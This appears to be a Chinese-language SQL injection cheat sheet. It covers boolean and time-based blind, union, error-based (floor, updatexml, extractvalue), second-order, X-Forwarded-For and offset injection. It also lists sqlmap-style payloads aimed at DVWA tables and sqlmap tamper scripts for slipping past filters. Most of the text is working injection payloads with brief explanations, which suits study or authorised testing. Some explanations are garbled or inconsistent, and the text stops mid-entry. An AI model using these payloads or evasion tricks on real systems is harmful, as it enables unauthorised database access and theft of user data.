测试流程 存在注入点，判断第一个数据库第一个字符是否等于c and substr(database(),3,1)='c' 判断数据库的第一张表的第一个字符是否等于a and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))>97# 列名及数据同上，此处可使用burp遍历
测试流程 数据库名如果等于8个字符，网页延时10秒 and if(length(database())=8,sleep(10),1) 数据库的第一个字符如果等于a，页面延时10秒 and if(substr(database(),1,1)='a',sleep(10),1) 数据库第一张表的第一个字符如果等于a，页面延时10秒 and if(substr((select table_name from information_schema.tables where table_schema='数据库名' limit 0,1),1,1)='a',sleep(10),1)--+ 列名及数据同上，此处可使用burp遍历
联合查询注入
使用场景 页面必须有显示位，客户端将数据展示在页面中，展示数据的位置就叫显示位 流程 判断是否存在注入点 判断字段 order by n union select 1,2,...,n 显示报错位 在报错位置写入注入语句
报错注入
利用场景：
页面无显示位，但是有sql注入语句执行错误信息显示。
1、floor报错注入
原理 报错基于count,rand,group by三者，floor(rand(0)*2))报错条件记录必须大于3条以上, floor(rand(0)*2))，随机数*2后向下取整 count(*), group by，创建一张虚拟表来统计所有数据，虚拟表中有唯一主键值，floor(rand(0)*2))让主键值重复，并抛出主键异常报错
查询数据库版本 and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)%23 查询数据库 and (select 1 from(select+count(*),concat(floor(rand(0)*2),database())a from information_schema.tables group by a)b)%23
2、updatexml报错注入
原理 updatexml的第二个参数需要xpath格式字符串，0x7e不是xpath格式语句，所以会将中间执行结果以错误形式报出。 查询数据库版本信息 and updatexml(1,concat(0x7e,@@version,0x7e),1)
3、ExtractValue报错注入
原理同updatexml一样 updatexml的第二个参数需要xpath格式字符串，0x7e不是xpath格式语句，所以会将中间执行结果以错误形式报出。 查询数据库版本信息 and extractvalue(1,concat(0x7e,@@version,0x7e))
测试流程 创建一个特殊流程，test'--,数据库语句： insert into test(user,password) values('test'','1234'); 此时存在一个正常用户，test,修改密码，此时数据库语句如下 update users set pawweord='yes' user='test'--' and old_pass='1234' 等于'--注释掉后面的所有语句，执行了此条语句 update users set pawweord='yes' user='test' 用户从test'--变成了test，修改了正常用户test的密码。
xff(x-forwarded-for)注入
原理 使用burp重放模块修改x-forwarded-for值，可用于伪造ip
测试流程 x-forwarded-for:127.0.0.1' and 1=1# 判断是否存在注入，存在返回正常，不存在返回报错
偏移注入
原理 已知user表存在8个字段，判断存在admin表，但不知道有几个字段，可通过偏移注入查询
测试流程 union select 1,2,3,4,5,6,7,8 from user user表 查询admin表,使用admin.*来偏移，判断admin表存在几个字段 union select 1,2,3,4,5,6,7,admin.* from user union select 1,2,3,4,5,admin.* from user 返回正常，则admin表存在3个字段 偏移注入试用于access数据库
4 AND ORD(MID((SELECT IFNULL(CAST(table_name AS CHAR),0x20) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=0x64767761 LIMIT 0,1),1,1))>64
获取所有字段
4 AND ORD(MID((SELECT IFNULL(CAST(COUNT(column_name) AS CHAR),0x20) FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name=0x7573657273 AND table_schema=0x64767761),1,1))>51
获取第一个字段名
4 AND ORD(MID((SELECT IFNULL(CAST(column_name AS CHAR),0x20) FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name=0x7573657273 AND table_schema=0x64767761 LIMIT 0,1),1,1))>64
获取字段中数据
4 AND ORD(MID((SELECT IFNULL(CAST(`user` AS CHAR),0x20) FROM dvwa.users ORDER BY `user` LIMIT 0,1),1,1))>64
0x03 常用的tamper脚本
apostrophemask.py
适用数据库：ALL
作用：将引号替换为utf-8，用于过滤单引号
使用脚本前：tamper("1 AND '1'='1")
使用脚本后：1 AND %EF%BC%871%EF%BC%87=%EF%BC%871
base64encode.py
适用数据库：ALL
作用：替换为base64编码
使用脚本前：tamper("1' AND SLEEP(5)#")
使用脚本后：MScgQU5EIFNMRUVQKDUpIw==
multiplespaces.py
适用数据库：ALL
作用：围绕sql关键字添加多个空格
使用脚本前：tamper('1 UNION SELECT foobar')
使用脚本后：1 UNION SELECT foobar
space2plus.py
适用数据库：ALL
作用：用加号替换空格
使用脚本前：tamper('SELECT id FROM users')
使用脚本后：SELECT+id+FROM+users
nonrecursivereplacement.py
适用数据库：ALL
作用：作为双重查询语句，用双重语句替代预定义的sql关键字（适用于非常弱的自定义过滤器，例如将
select替换为空）
使用脚本前：tamper('1 UNION SELECT 2--')
使用脚本后：1 UNIOUNIONN SELESELECTCT 2--
space2randomblank.py
适用数据库：ALL
作用：将空格替换为其他有效字符
使用脚本前：tamper('SELECT id FROM users')
使用脚本后：SELECT%0Did%0DFROM%0Ausers
unionalltounion.py
适用数据库：ALL
作用：将union allselect 替换为unionselect
使用脚本前：tamper('-1 UNION ALL SELECT')
使用脚本后：-1 UNION SELECT
securesphere.py
适用数据库：ALL
作用：追加特定的字符串
使用脚本前：tamper('1 AND 1=1')
使用脚本后：1 AND 1=1 and '0having'='0having'
space2dash.py
适用数据库：ALL
作用：将空格替换为--，并添加一个随机字符串和换行符
使用脚本前：tamper('1 AND 9227=9227')
使用脚本后：1--nVNaVoPYeva%0AAND--ngNvzqu%0A9227=9227
space2mssqlblank.py
适用数据库：Microsoft SQL Server
测试通过数据库：Microsoft SQL Server 2000、Microsoft SQL Server 2005
